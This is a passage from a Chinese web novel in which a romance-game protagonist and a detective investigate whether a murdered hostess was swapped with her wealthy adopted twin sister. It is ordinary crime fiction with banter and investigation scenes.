李福满发觉搬起石头砸了自己的脚,脸上的笑比哭还难看:“不、不过这个地方那么吵,太妨碍您谈事情了,要不……我请您去楼上桑拿房?”
程述起身伸了个懒腰,往他后脑勺来了一巴掌:“你小子,知道我受伤了没法蒸桑拿,故意的吧?先记着,我下次再来。”
临离开时,还不忘叮嘱他:“记得给这姑娘小费。”
从灯红酒绿的娱|乐城出来,震撼耳膜的音乐声倏然消失,耳根清静得竟让人反而有些不习惯。
祝好随手拦了辆出租车,跟程述一起坐上后排。
车子在深夜无人的马路上一路驰行,碾碎初秋的落叶。她看着窗外倒退的景致出了神,神秘的报案人、行李箱上的指纹、承认杀人的杜俊明、时新时旧的纹身、相同的DNA……一切或明或暗的线索本身就已经够复杂了,现在又多了一个无法解释的疑点:姚雨欣为什么要花钱雇娜娜跟自己演一场戏?
她刚想跟程述探讨一下,却突然发觉肩膀一沉,下意识扭头,发现他竟然靠在自己肩上睡着了。
她抬手想要拍醒他,却看到车窗外流转的灯光从他脸上晃过,忽明忽暗,隐约能看到他浓密的睫毛低低垂落,在脸上留下淡淡的投影。
身上的伤还没好,这一整天都在跟着自己奔波,辗转了好几个地方,他确实也累坏了。抬起的手停止在半空中,犹豫片刻,祝好还是轻轻收回手,转脸看向窗外。
第67章
出租车开到楼下,祝好付完钱才戳了戳程述的脸,把他叫醒:“老大,起床了,到家了。”
程述缓缓睁开眼,茫然片刻,像是突然反应过来自己睡在什么地方,噌一下从座椅上弹起来,低头搓了下鼻子:“你怎么不叫醒我?”
祝好:“……”
她还是第一次看到程述这幅手足无措的模样,觉得有些好笑,但还是憋住了,揉着肩膀,故作轻松:“辛苦你今天跟我跑了那么多个地方,
肩膀借你靠一下也没什么,你要是觉得不好意思,跟我说句谢谢就行了。”
程述抿了抿嘴没吭声,开门下了车,径直往楼道里走。
白眼狼一听到门外的脚步声,立刻嗷呜嗷呜叫唤起来,进了屋,祝好发现它的食碗已经空了,赶紧打开猫粮袋子给他加满,又把水换成新鲜的。
吃饱喝足,白眼狼叼来自己的玩具老鼠,缠着祝好陪它玩儿。祝好手一扬,把它那只被咬得全是洞的玩具老鼠往远处扔,它立刻冲上前与老鼠缠斗一番,又屁颠屁颠地叼回来,半路差点撞上洗完澡从卫生间里出来的程述,嘴一松,把老鼠扔在他脚边。
程述弯下腰,拾起老鼠又一次扔向远处,白眼狼也又一次屁颠屁颠追上去,乐此不疲。
祝好随口问道:“还要我帮你搽药吗?”
他顿在原地,似乎是在思考自己能不能够得着后背,片刻后还是妥协了:“嗯。”
祝好跟着他进了房间,拧开放在床头的药酒蘸湿棉签,涂在他结实的背肌上。警局医务室配的药酒效果还不错,只涂了一次,淤青就开始逐渐消散了。
两人都没有说话,跟昨天晚上相比,气氛有那么些尴尬。祝好心想被当成靠枕的人明明是自己,他怎么反倒还委屈上了,搞得好像吃亏的是他似的。
她清了清嗓,若无其事地打破沉默:“老大,我们现在掌握的证据,足够让秦警官重新调查了吗?”
程述慢悠悠地反问:“我们现在掌握了什么证据?”
祝好迟疑了一下:“娜娜不是说了吗?姚雨欣让她配合自己演戏,还要闹到派出所,这么可疑的事情,难道不得调查一下?”
“这些只是她一面之词,算不上什么证据,跟姚雨欣的死也没什么直接关系,老秦那个人轴得很,先等月月那边有了答复再说吧。”
祝好“哦”了一声,拧紧瓶盖:“好了。”
她把药瓶放在床头,起身往门外走,程述却突然叫住她,摸了摸后脑勺:“那个——”
后面的话迟迟没说出口,祝好停在门口:“嗯?”
他掀起眼皮,刚触及到她似笑非笑的眼神,又猝然收回目光:“记得给你手上的伤口上药。”
“还有呢?”
“还有什么?”
祝好忍不住揶揄他:“一句‘谢谢’真的就那么难说出口吗?”
他没吭声,似乎是做了很久的心理建设,好半天才艰难地挤出一句话,声音低沉得几乎要听不清:“谢谢,还有……对不起。”
祝好简直要怀疑自己的耳朵,本来根本没指望能从他嘴里听到这些话,只是想随口逗逗他,没想到他居然真的说出口了。
不仅说出口了,还买一送一,莫名其妙附赠了句“对不起”。
祝好半晌才反应过来,问他:“对不起什么?”
“第一次在医院见到你的时候,我态度不好,当时刚得知指甲油杀手的消息,我太心急了,所以——”
他显然是很不习惯说这些话,为了让自己看起来自然点儿,手上一直想找些事干。本来想扯扯衣角,又发现自己身上没穿衣服,只得故作随意地摆弄起裤腰上的抽绳,好像这些欲盖弥彰的小动作能证明他很松弛似的。
祝好靠在门框上,憋了半天,最终还是没忍住笑出声来,连忙握拳掩住嘴唇,干咳了一声:“看在你那么诚心诚意的份上,我就勉为其难接受吧。”
想了想,又忍不住抓住这个机会说教:“看吧,其实这两句话也没那么难说出口。你应该跟白眼狼学学,饿了就去吃饭,渴了就去喝水,需要陪伴的时候就主动蹭上去,别什么事都憋在心里一个人消化。”
程述抬手“啪”地揿掉了房间的灯,往床上一躺背对她:“我要睡了,帮我关门。”
祝好摇头叹息,看来想要一个人做出改变,也不是一朝一夕的事,不过他今天能说出“谢谢”和“对不起”,就已经是质的飞跃了。
她抱起在脚下打转的白眼狼,关上房间门。
睡前,祝好打开控制面板,看着上面那可怜兮兮的65积分,又想起衣柜里那件华而不实的丝绒连衣裙和程述抽屉里那副粉红色毛绒手铐,悠悠叹了口气。
不过她倒是突然发现,自己的资料变得更详细了,不仅多了生日、血型,就连毕业的学校都写出来了。
这是怎么一回事?
没等她召唤,系统就主动现身说明:“宿主,为了让您拥有更好的游戏体验,我们将会为你建立更完整的资料。”
太好了,这样就不用担心可攻略对象有一天会完全觉醒自己的意识,对她产生怀疑了!
只是这么重要的事情居然拖到现在才办,她实在不知道这游戏该不该夸。
系统接着道:“接下来我们还会逐步完善你的背景,包括家人的基础资料。”
家人的基础资料?祝好腾一下坐起来,心脏砰砰直跳:“我爸爸妈妈也会存在这个世界里吗?”
系统的回答却让她很失望:“抱歉,宿主,您在这个世界的背景,是结合您在现实世界中的经历生成的。”
言下之意就是,之前她是孤孤单单一个人,将来也还会是孤孤单单一个人,没什么本质的改变。
她缓缓躺倒,心情突然有些低落。
程述好歹还有张合影留个念想呢,她却什么都没有,时间久了,连脑海里爸爸妈妈的长相都逐渐变得有些模糊了。
盯着天花板发了一会儿愣,她又唤出系统:“可以答应我一件事吗?”
“您说。”
祝好说:“其他的可以不变,但是能不能把我爸爸的职业改成警察?”
那是他一直以来的梦想,既然在现实世界没办法成真,那就在这儿替他实现这个愿望吧。
*
大早上刚睁眼,祝好就看到手机上有一条未读信息,是月月发来的,时间是凌晨三点半。
三点半还没睡,好阴间的作息。
点开对话框,弹出几段语音。
第一段语音:“祝好,我替你们打听过了,有个同行曾经做过这个玫瑰图案的纹身,时间就在半个月前。”
第二段语音:“那天他店里来了两个女孩,其中一个要求他按照另一个女孩胸口的纹身,给她纹个同样的。那两个女孩长得一模一样,应该是双胞胎,所以他印象特别深。”
祝好一下子来了精神:也就是说,姚雨欣——或者说,姚雨欣的双胞胎姐妹——身上那个恢复不久的纹身,并不是什么旧图翻新,而是两个人纹了一样的纹身。
换句话说,被杜俊明杀死、抛尸在河堤上的很有可能真的不是姚雨欣,而是她的双胞胎姐妹。
可正如娜娜所说,姚雨欣的档案上只显示她只有一个弟弟,也从来没见她提过自己有个双胞胎姐妹,这又是怎么一回事?
祝好蹬开被子往楼下跑,走到客厅,正好看到程述提着早餐进门。
他边换鞋边阴阳她:“真难得,不需要我当闹钟你就自己醒了。”
祝好没理这茬,点开月月的语音,把手机递给他。
程述皱着眉听完语音,把手机和早餐一起塞进她手里:“先吃早餐,待会儿我们去警局一趟。”
……
“哟,老程,你那么勤快呢,没活儿也来值班呐?”
大早上在警局里见到程述和祝好,秦聿风一开始还笑容满面地打趣,然而在程述揽着他的肩膀、把昨天查到的线索都跟他说了一遍后,他脸上的笑意逐渐消失,取而代之的是夹杂着些许烦躁的无奈。
“双胞胎姐妹?死的可能不是姚雨欣?太玄乎了吧,我怎么感觉我有点儿听不懂呢。”他靠在椅子上低头翻看手里的资料:“再说了,姚雨欣的档案上根本没写她有什么姐妹。”
程述不置可否,冷不丁换了个话题:“外面那对中年夫妇是姚雨欣的父母?”
祝好想起刚才看到一对中年夫妇领着个大学生模样的男孩在警局门口徘徊,那对夫妇皮肤黝黑,穿着朴素,一看就是常年在户外干活儿的人;而男孩用的却是最新款的手机,身上的衣服、鞋子全都是某知名运动品牌。
中年夫妇不知是来警局干什么的,但显然不太了解流程,又找不到人问路,急得满头大汗,男孩却蹲在一旁专注地打游戏,时不时骂上一两句粗口,一副事不关己的模样,最后还是祝好领着他们去登记了信息,才顺利进了警局。
听程述那么一说,她才反应过来,那应该就是姚雨欣一直没有露面的父母和弟弟。
秦聿风点点头:“说来也奇怪,一开始他们说什么也不肯来领姚雨欣的尸体,说是没钱买墓地,让我们看着处理就好。今天不知怎么良心发现,突然来了,说要把她带回去厚葬。”
程述若有所思,突然说
了句:“姚雨欣有没有双胞胎姐妹,出去问问不就好了。”
说完起身往外走。
祝好不知道他葫芦里卖的什么药,跟秦聿风对了个眼神,也不约而同起身跟出去——当然,祝好是因为好奇,而秦聿风则是担心他不按套路出牌,又惹出什么乱子。
程述径直走向接待室,敲了敲门,不等里面有回应,直接拧动把手推开门,对着里面一脸茫然的几个人说了句什么。
几秒钟后,接待室里传来一声怒吼:“不行,我们不同意解剖!”
程述勾唇笑了笑:“姚雨欣的死因有疑点,我们有权利决定是否对她的尸体进行解剖,不需要经过家属同意。”
“我不管,必须得留个全尸,你们要是敢解剖,我就去告你们!”
说话的是夫妻之中的男人,他穿着件领口洗得皱巴巴的汗衫,身上酒气很重,听到程述这么说,噌一下从沙发上站起来,双手掐着腰,勃然大怒。
负责接待的两个内勤小姑娘面面相觑,不知所措,直到秦聿风给她们使了个眼色,才坐回沙发上心安理得地当起了看戏人。
跟急赤白脸的男人相比,程述显得淡定很多,他倚靠在门框上,不紧不慢道:“刚才我看了下你们的资料,你们俩都是A型血,而姚雨欣是AB型血。”
男人怒喝:“你在说什么狗屁,我听不懂,总之我们不同意解剖!”
他们那个满脸痘坑、一直在低头打游戏的儿子闻言终于从手机屏幕上移开目光,插了句话:“啊?那个女人真的不是你们亲生的?”
“你胡说八道什么?”
男人气得瞪圆双眼、唾沫横飞,抬手就要往男孩头上拍,女人赶紧起身护住男孩:“你别打孩子!”
程述让这场闹剧持续了一会儿,才拖长音调“哦”了一声,恍然道:“原来姚雨欣不是你们亲生的啊,怪不得用她出卖身体赚来的钱盖房子、养儿子,你们都丝毫不会觉得愧疚呢。就是可怜她被压榨了那么多年,你们不关心她的死也就算了,连她的尸体都不放过。”
男人甩开女人的手,怒气冲冲地指着程述:“你、你什么意思!”
“我什么意思,你们自己心里不清楚吗?一开始心疼安葬的钱,连尸体都不愿领回去,怎么现在又突然改变主意了?是不是听了哪个亲戚的话,知道配阴婚也能赚到一笔,才想着要压榨她最后一点可以利用的价值?”
程述微微俯身,把额头抵在男人的指尖上,直视他的双眼,一字一顿道:“所以你才不愿意让我们解剖她的尸体,毕竟尸体不完整,就不值钱了呢。”
男人登时脸色煞白,连连向后退了几步,颓然地跌坐在沙发上。
第68章
两个小时后,秦聿风从接待室里出来,同时也带来了姚雨欣身世的真相。
当年姚雨欣的母亲——或者说是养母——跟丈夫结婚几年后一直没有怀上孩子,在思想落后的山村里,一个不能生孩子的女人,就等同于一头没法犁地的牛,叫人看不起。
为了不成为其他人笑柄,他们偷偷托亲戚到周围的村子打听,看有没有人生下孩子又不想养的。
没过多久,亲戚那儿就有了消息,有个女孩未婚先孕,生下了一对双胞胎,想要送养出去。得到消息,他们急匆匆赶过去,花几百块钱抱走了双胞胎中的一个,也就是姚雨欣。
为什么只抱走一个?因为不是男孩,一个就已经足够了,虽然没办法“光宗耀祖”,至少将来还有人替他们养老送终。当时农村对这方面管得不严,所以姚雨欣的档案里并没有写上她是领养的。
然而在她三岁那年,养母居然怀孕了,还生下了一个男孩,全家欢天喜地,把祖宗十八代都感谢了个遍——这下子终于可以光宗耀祖了。
只不过这样一来,原本被寄予“养老送终”厚望的姚雨欣,就成为了家里的累赘。
她只念到了初中就被迫辍学,跟着同村的姐姐一起离开家乡,外出打工。但她没文化、没技术,只能做些端盘子之类的工作,赚到的钱连自己的生活都维持不了,更别提按照父母的要求每个月给家里寄钱了。
后来在朋友的介绍下,她去了一家KTV当服务员,之后的将近十年时间里,几经辗转,最终在魅享party娱|乐城当起了陪酒小姐,过着日夜颠倒的生活,陪酒、陪笑,甚至陪睡,却住在最便宜的房子里,买最廉价的衣服和化妆品,赚到的钱基本都往家里寄。
过去二十五年的人生里,姚雨欣几乎被本应成为避风港的那个家连血带肉吃干抹净。或许她想过逃离,但长久的控制就像风筝的线,看似透明,却始终牢牢禁锢住她的翅膀和思想。
不论她飞得多远,只要放风筝的人一收线,她还是要回到原点。
“姚雨欣的养父母说,她并不知道自己是被抱养的,更不知道自己还有个双胞胎姐妹。”
秦聿风靠在椅子上,掏出一支烟叼在嘴里,却没有点燃。
“据说双胞胎中的另一个,不久后被一对开着轿车的夫妇接走了,但是她们的亲生母亲——那个未婚先孕的女孩——后来跟家人一起搬离了村子,再也没有回去过。想要找到她,可能得费点功夫。”
祝好沉吟:在那个年代能开得起轿车,应该是比较富裕的家庭。
也就是说,明明是一对双胞胎,却有着截然不同的人生。一个被好人家收养,过上了养尊处优、锦衣玉食的生活,而另一个却在KTV里陪酒、被父母和弟弟无止尽压榨、还被滥赌的男友家暴。
所有或明或暗的线索逐渐在祝好的脑海里串联起来。
如果姚雨欣无意中得知自己有个双胞胎姐妹,对方有着跟自己一模一样的样貌、身材,却过着比自己好上百倍的生活,会不会因此心生嫉妒、感叹不公,然后生出歹念?
她假意与对方相认,让对方在同一个部位做了跟自己一样的纹身,设计让杜俊明将她杀死,再报警把抛尸的地点告诉警方。
而她让娜娜配合自己演的那出戏,就是希望能将自己的DNA留在警局系统里,就和行李箱里那张魅享party的卡片的作用一样,是为了能让警方在找到尸体后可以快速确认她的身份。
这样一来,从前的“姚雨欣”就永远消失了,而她也终于能彻底摆脱令人窒息的家庭和男友,以全新的身份重新活一次,过上自己梦寐以求的生活。
祝好觉得自己简直是福尔摩斯再世,恨不得为自己天才般的推理能力鼓掌叫好。
然而秦聿风却给她泼了盆冷水:“祝小姐,你说的这些乍一听很合理,但是只凭一个纹身就推断死的不是姚雨欣,是不是有些太草率了,我们并没有直接证据证明是她策划了这一切。”
——毕竟同卵双胞胎的DNA是一模一样的,不论死的是双胞
胎中的哪一个,都需要先找到另一个人,才能确定尸体的真实身份。
说的也是,没有证据支撑的推测,不论再怎么合理也只能是臆想。
祝好颓然:“那现在怎么办?”
秦聿风看她一脸失落,宽慰道:“别着急,我已经派人去你们说的那家纹身店调查了,顺着交易记录或者监控往下查,应该能找到双胞胎中另一个人的身份,我们先耐心等等吧。”
祝好点点头,虽然有些不情愿,但该做的都已经做了,眼下确实只能耐心等待。
早上刚下过一场小雨,给初秋干燥的天气添了几分温润,云开雨霁,秋日午后的阳光洒进屋里。
祝好靠在沙发上看了会儿书,抬头看到秦聿风板板正正地坐在电脑前写案件报告,大概是顾及她的感受,叼在嘴里那根烟一直没点燃。
她再次感慨这个可攻略对象也太忙了点儿,每天除了工作就是工作,哪怕想跟他聊聊天提升一下好感度都不好意思打扰,更何况旁边还有个靠在沙发上呼呼大睡的程述当电灯泡。
办公室的门突然被敲响,秦聿风停下敲键盘的手,说了声“进来”。
推门而入的是温珣,他左边胳膊夹着一份文件,右手端着一盘切好的哈密瓜,眼神略过程述,落在祝好身上:“祝小姐,来尝尝哈密瓜,挺甜的。”
祝好推醒程述,让他往沙发边上挤挤,给温珣腾出个位置。
程述伸了个懒腰,没脸没皮地往温珣面前凑:“哟,温主任来送温暖啦?”
温珣淡淡一笑:“不好意思,知道程大侦探也在,不过没准备你的份。”
“可惜了,看着挺甜啊。”程述出乎意料没有还嘴,拿了一片瓜递给祝好:“小助手,替我尝尝看好不好吃。”
祝好不疑有他,接过哈密瓜咬了一口,认真地作出反馈:“挺好吃的。”
又问道:“温主任今天不忙吗?”
温珣说:“前两天有一起盗窃案,指纹比对结果刚出来,我来给秦队送材料,正好我们那儿的实习生带了个自家种的哈密瓜来,就顺便带点儿来给你们尝尝。”
……指纹?
祝好突然想到了什么,腾一下坐直身子:“温主任,同卵双胞胎的指纹也是一模一样的吗?”
温珣摇了摇头:“同卵双胞胎只是基因相同,但指纹不是由基因决定的,它的形成与胚胎发育的环境有关。”
——也就是说,就算是同卵双胞胎,也不会有一模一样的指纹。
祝好心一凛,精神提振起来,转向秦聿风:“秦警官,我可以看看杜俊明的审讯记录吗?”
“审讯记录?”秦聿风迟疑片刻,点开电脑上的文件,起身把位置让给了她。
那天对杜俊明的审讯持续了大半宿,记录里密密麻麻全是字,祝好拖动鼠标往下滑拉了半天,终于找到了自己想看的内容。
——【抛尸用的行李箱是怎么来的?】
——【是姚雨欣买的。】
——【什么时候买的?】
——【大概三四天前,当时我还抱怨了几句,说买那么大个箱子放在我家干什么。】
——【那她怎么说的?】
——【她说她家太小了,没地方放,暂时放我那儿几天。我那天赌赢了几百块,心情好,就没理会她。】
按照杜俊明的供词,他在失手杀人后虽然十分慌乱无措,但还是想到了戴上手套,所以行李箱上并没有发现他的指纹。
而警方当时先入为主地认为尸体正是姚雨欣,所以并没有在其他地方采集她的指纹。
如果那几枚指纹既不是杜俊明的,也不属于那具尸体,会不会正是真正的姚雨欣购买行李箱时留下的?
再说了,在抛尸前四五天突然买下能装得下一个人的行李箱,还特地放在杜俊明家,未免有些太巧合了吧。
除非,她早就计划好了一切。
听完她的推理,程述似笑非笑地看着她:“小助手,我有个问题啊,假设姚雨欣真的‘设计’让杜俊明杀害了她的姐妹,她又是如何做到的?”
祝好闻言一噎,一时间答不上来,刚刚还无比振奋的心情又一次跌回谷底:确实如此,如果这一切真的是姚雨欣设计的,那她是怎么让双胞胎姐妹心甘情愿去找杜俊明,并且确定杜俊明一定会杀死她,同时又准确的知道他抛尸的地点呢?
秦聿风把那根一直没抽的烟扔进烟灰缸里,扶着额角叹了口气,低声骂道:“真特么邪门,还以为终于碰上个轻松点儿的案子了呢,看来我得找个时间去烧柱香才行。”
程述把另一片哈密瓜递给他,亲切地拍了拍他的肩膀:“老秦,吃片瓜降降火,法医部出品,绝对不一样。”
秦聿风对他突然的殷勤没有产生任何怀疑,接过哈密瓜咬了一口,称赞了句“挺甜的”,又随口问温珣::“温主任,你们法医部设备那么齐全啊?连切瓜的刀都有。”
温珣扶了下眼镜,笑了笑:“用解剖刀切的。”
顷刻间,办公室里陷入一片寂静。几秒钟后,秦聿风扶着桌子剧烈地咳嗽起来,祝好捧着手里的半片瓜吃也不是,不吃也不是。
看他们的反应,温珣无辜地耸了耸肩:“没关系,刀是消过毒的。”
祝好:“……”
秦聿风:“……”
只有程述一脸“我就知道”的表情,笑得差点从沙发滚到地上。
第69章
新的线索出现时,已经是两天之后。
等待的时间里,祝好虽然有些心急,但她知道警方一定也没闲着。
姚雨欣和她的姐妹在纹身店付的是现金,警方只能从监控下手,顺着纹身店附近的交通监控捋,终于找到了她们乘坐的出租车,又从出租车公司调到了那辆车当天的行车记录,最终才确定了另一个女孩的身份。
秦聿风把一份档案搁在办公桌上,简明扼要地跟他们介绍了几句:“韩瑾,25岁,是一名作家,出版过几本言情小说。七年前她去了M国留学,之后一直留在那边生活,逢年过节才会回来一趟。不过她一个月前突然回来淮江市,到现在还没有离开。”
祝好打开那份档案,照片里的韩瑾果然有着一张跟姚雨欣一模一样的脸。
秦聿风喝了口浓茶提神,接着道:“她的父母——哦,应该说是养父母——是淮江市小有名气的富商,住址在……”
祝好凑过去看了一眼:“咦,这不是李砚川的小区吗?”
*
路过李砚川家的时候,祝好特地多看了几眼。
院子的大门已经换了新的,围墙也加高了一截,上面还做了一圈带刺的铁栅栏,看得出来郑文昊那件事给他留下的阴影不小。
她又望向窗帘紧闭的二楼:这个点,估计他还没睡醒呢,不然待会儿还可以去他家坐坐,顺便看看能不能提升点好感度。
跟总是在忙工作的秦聿风相比,李砚川的工作相对清闲许多,经常会给祝好发消息,知道白眼狼的存在后,时不时还会跟她分享一些搞笑的小动物视频。
不过就算有长相绝美的极品男嘉宾主动示好,母胎solo的祝好也深感无能为力,不论怎么努力,却总是不知不觉就把天给聊死了,最后只能用一个尴尬的微笑表情包结束对话。
别墅区面积很大,经过李砚川家后再拐过两个路口才到韩瑾养父母的别墅。
摁响院子的门铃,开门的是个穿着围裙的中年女人,看样子是家里的保姆。
她从门里探头看了看,面露疑惑:“你们是?”
秦聿风掏出证件递给她:“刑警队的,来问点儿事,请问屋主在家吗?”
保姆被“刑警”这两个字吓了一跳,自觉不是自己应该管的事儿,赶紧回屋叫来家里的女主人。
片刻后,一个女人迈着碎步急匆匆从屋里出来,有些不知所措,似乎也搞不懂警察为什么会出现在自家门口,但脸上仍保持客套的微笑:“警察同志,有什么事吗?”
她应该就是韩瑾的养母,大概五六十岁,花白的头发用一根木簪整齐地绾在后脑,模样十分端庄。
秦聿风问:“请问韩瑾在家吗?”
“小瑾啊?她早上出门了,还没回来呢。”韩母一听他们是冲着韩瑾来的,神色更紧张了:“警察同志,小瑾做错什么事了吗?”
秦聿风向她展露了一个人民警察该有的和善笑容:“没有,就是有些情况我们想向她了解一下,请问方便进去坐坐吗?”
韩母这才反应过来,赶紧打开门,把他们请进屋里:“抱歉,你看我,一紧张差点儿忘了,快进来。”
又转头吩咐保姆:“王姨,给警察同志泡杯茶。”
韩家的别墅整体风格偏中式,但不是暴发户喜欢的那种靠红木家具堆砌起来的中式装修。墙壁是浅浅的米灰色,家具以黑檀木为主,没有太多复杂的装饰,但内敛沉稳、禅意十足。
请他
们在沙发上坐下后,韩母双手搭在膝盖上,不安地摩挲着裤腿:“请问,你们找小瑾什么事呢?”
秦聿风微微一笑:“那我就直说了,韩瑾是你们领养回来的对吗?”
韩母倒没有要隐瞒的意思:“对,我跟我丈夫一直很想要个孩子,可我因为身体原因不能生育,所以就领养了小瑾。”
秦聿风往四周看了看:“您丈夫呢?”
“哦,他在工作呢。”
保姆端来了几杯冒着热气的红茶放在茶几上,招呼道:“几位请喝茶。”
秦聿风报以礼貌一笑,等保姆离开后,才继续问:“您知道韩瑾还有一个双胞胎姐妹吗?”
韩母捧着茶杯点点头:“知道,本来我们想把她们一起带回家的,但是去晚了两天,另一个孩子已经被人抱走了,这一直是我们的遗憾。其实我们也没瞒着小瑾,她从小就知道自己还有个双胞胎姐姐。”
“那她有没有试图去找自己的姐姐或者亲生母亲?”
“她倒是没提过,不过我跟他爸私下找人查过,可惜她们的生母已经过世了,姐姐……也不知道在哪儿。警察同志,你们要问的事……”话到嘴边,又被她急急忙忙掐住,再三斟酌,才小心翼翼地问:“跟她们有关系吗?”
秦聿风没有立刻回答,只是岔开话题,问道:“韩瑾这次回国是办事还是探亲?”
“她说太久没见,想我跟她爸啦。”提起韩瑾,韩母脸上露出温柔的笑容:“这孩子虽然是领养的,但我们一直把她当成亲生女儿对待,她也很争气,从小学习就很努力,语文年年拿全年级第一。”
说着起身从沙发旁边的玻璃柜里拿出几本书递给秦聿风,骄傲之情溢于言表:“你看看,这些都是她出版的小说,我每本都好好收藏着呢。”
祝好同往常一样不直接参与他们的谈话,只是静静聆听。
从韩母的话里可以得知,韩瑾虽然是领养的,但韩父韩母对她如同亲生女儿,不仅给她提供最好的生活条件,也对她的事业给予最大的理解和支持。
秦聿风接过书象征性地翻了翻,看似随意问道:“她这回回来,您看出她有什么变化吗?”
“变化?”韩母想了想:“这孩子刚回来的时候瘦了不少,可把我心疼坏了,肯定是国外的东西不好吃,写作又太累。回来之后我就让王姨天天给她炖汤,现在才胖回来一些。”
秦聿风点点头,把书放回茶几上,环视了屋里一圈:“方便让我们去韩瑾的房间看看吗?”
韩母有些犹豫:“这涉及孩子的隐私……要不,我给她打个电话征求一下意见?”
一直靠在沙发上没说话的程述突然开口,语气懒洋洋的:“你女儿可能跟一起刑事案件有关,我们调查是为了帮她洗脱嫌疑,还请您配合。”
韩母一开始还是拿不定主意,被程述这么一说,才抬手往楼上指了指:“二楼左拐第二间就是。”
秦聿风给程述和祝好使了个眼色,示意他们像平时一样上去看看,自己则继续留在客厅跟韩母谈话。
韩瑾的房间还是保持着出国前的装修,浅粉色的墙,带着蕾丝花边的窗帘,床柜桌椅等家具质感都很好,床上铺着的床单被子一看就是特地新买的,看得出来韩瑾的养父母确实对她疼爱有加。
墙上挂了很多照片,祝好的目光从上面逐一扫过:有的是她的毕业照,有的是家庭合影,有的是和朋友旅游拍的照。照片里的韩瑾无一例外有着一张无比自信的笑脸,一看就是在爱意的滋养中成长起来的孩子。
姚雨欣的生活与她相比,简直是云泥之别。灰头土脸的鹌鹑,怎么会不羡慕优雅高贵的白天鹅呢?
程述在房间里转了一圈,伸手拉开书桌的抽屉,从里面拿出十几本笔记本,笔记本的新旧程度不一,有的是卡通封面,有的是素雅的牛皮封面,应该都是韩瑾的日记本。
祝好无语:“老大,你不会又要偷看别人的隐私吧?”
程述若无其事把其中一本卡通封面的笔记本递给她:“什么隐私,这是线索。”
翻人家的日记多不好,祝好撇了撇嘴,翻开了那本日记。
从日期上看,这本日记是韩瑾初中时写的,里面多是些小女生的日常,比如跟哪个好朋友吵架啦,哪个喜欢的男孩子对自己笑啦,诸如此类。
她又随意翻开几本,除了某些特别值得纪念的日子,比如毕业日、或者她的第一本小说的出版外,基本都是些鸡毛蒜皮的小事。
程述翻了一会儿,大概也没找到什么有价值的线索,便把日记本一股脑扔回抽屉里,刚要打开衣柜,就听到楼下传来一阵动静。
他对祝好做了个“嘘”的手势,打开一条门缝侧耳仔细听。
“小瑾,你回来了?这位警察同志有些事情想跟你了解一下。”
是韩母的声音。
祝好跟程述对视了一眼,韩瑾——或者说是姚雨欣——回来了吗?
他们推开房门往楼下望去,客厅中央果然站着个女孩,穿着一套素雅的浅色套装裙,背着一个白色的小挎包,除了不是红发,看起来简直跟姚雨欣一模一样。
“韩小姐,你好。”秦聿风向她出示了证件,又往楼上指了指:“这两位是我同事,我们有些情况想跟你了解一下,方便跟你聊聊吗?”
韩瑾闻言抬头,瞥见戴着手套的程述和祝好,脸色僵了一瞬,随即很快又恢复平静,甚至露出了一丝恰到好处的惊讶:“警察?警察找我有什么事吗?”
程述趴在二楼的栏杆上对着她勾了勾手:“韩小姐,我看茶几上放了降压药,你妈妈身体应该不是很好,要不上来你房间聊聊吧。”
韩母起身拉住韩瑾的手,满脸担忧:“小瑾,没事吧?”
韩瑾笑着安慰了句“没事”,犹豫片刻,点了点头:“行,那就去我房间聊聊吧。”
第70章
韩瑾的房间十分宽敞,甚至比程述家的客厅还要大些。
程述和秦聿风把房间里唯一一张椅子让给祝好,两人一左一右靠在桌沿,活像两尊守护神。
韩母端来一盘切好的水果放在桌上,欲言又止,目光再三闪烁,最终还是带着满腹忧心忡忡退了出去,顺带把门给关上了。
韩瑾在床尾坐下,向程述露出一个礼貌又略带疏离的微笑:“我妈这人身体不好,又容易多想,避开她说话确实比较好,还要谢谢你考虑周到。”
程述没接茬,眼神落在她刻意藏在身后的手上。
祝好顺着他的目光看去,发现韩瑾手上缠着一圈纱布。真巧,一个房间里四个人,三个都是伤员。
她看似关心、实则试探问道:“韩小姐,你的手怎么了?”
韩瑾苦笑了一下,举起手晃了晃又快速收回:“这个啊,上回在厨房帮王姨打下手,我笨手笨脚的,不小心撞翻了水壶,被开水烫伤了。还挺严重的,手伤的皮肤都快脱落了。”
“那么巧,我手上也是被烫伤的。”祝好拆掉手上的纱布,水泡已经变成了一层厚厚的结痂,她把手心向外,展示给韩瑾:“你看,都三四天了。你呢,什么时候受的伤啊?”
“记不清了,也就几天之前吧。”敷衍答完之后,韩瑾主动问道:“请问几位来找我是有什么事呢?”
似乎比起闲聊,她更在意警方来找自己的原因,并有种想要速战速决的意思。
秦聿风问:“韩小姐,你认识姚雨
欣吧?”
出乎意料的,韩瑾并没有否认,迅速而笃定地点头:“认识,她是我失散了很多年的双胞胎姐姐,我们前些日子刚刚相认,她怎么了吗?”
程述盯着她,冷冷道:“她死了。”
韩瑾一下子坐直身体,眼眶倏地红了,下颌微微抖动:“怎么可能?她怎么死的?”
秦聿风没回答,只是公事公办地抽了张纸递给她,接着问:“韩小姐,7月28号晚上9点到12点之间,你在哪儿?”
韩瑾似乎没从姚雨欣的死讯带来的震惊中缓过神,笨拙地用缠着绷带的手捻住纸巾擦了擦眼泪,才啜泣着低声回答:“我在家陪我爸爸妈妈呢。”
“陪他们干什么了?”
“最近有部抗日剧,晚上八点钟开始播,我爸特别喜欢,我们一家人这几天晚上都在一起看电视,看完后我就回房间睡觉了。”
“之后也没有出过门?”
“没有,我一直睡到第二天中午才起床的。”
秦聿风和程述对了个眼神,转身离开了房间,向韩母求证去了。
程述接着问:“你上一回跟她联系是什么时候?”
“记不太清楚了,应该是一个星期前吧。”
“你们是怎么相认的?”
“说来也巧,我们是逛街时无意间碰上的,那个人的样貌、身材跟我一模一样,简直像是在照镜子。说起来也是缘分吧,我一直知道自己有个双胞胎姐姐,但也没有想过可以去找她,没想到居然就这么遇上了。或许,这就是缘分吧。”
“那你们之后一直都保持联系吗?”
韩瑾轻轻摇头:“不经常。”
一问一答间,她几乎没有露出破绽。警方在查到她的身份后,再与姚雨欣的通话记录做对比,发现一个月时间里她们确实只联系过三四回。
程述从柜子上拿了个小玩偶在手里漫不经心地把玩:“双胞胎姐妹失散二十多年,好不容易相认了,不应该是件开心的事吗?为什么不经常联系?”
韩瑾深深叹了口气:“你说的没错,姐妹相认,本应该开心才对。可是那个人除了外表跟我相似之外,我们的经历、性格和三观简直是天差地别。”
程述掀起眼皮,意味深长地勾起嘴角:“那个人,她怎么样?”
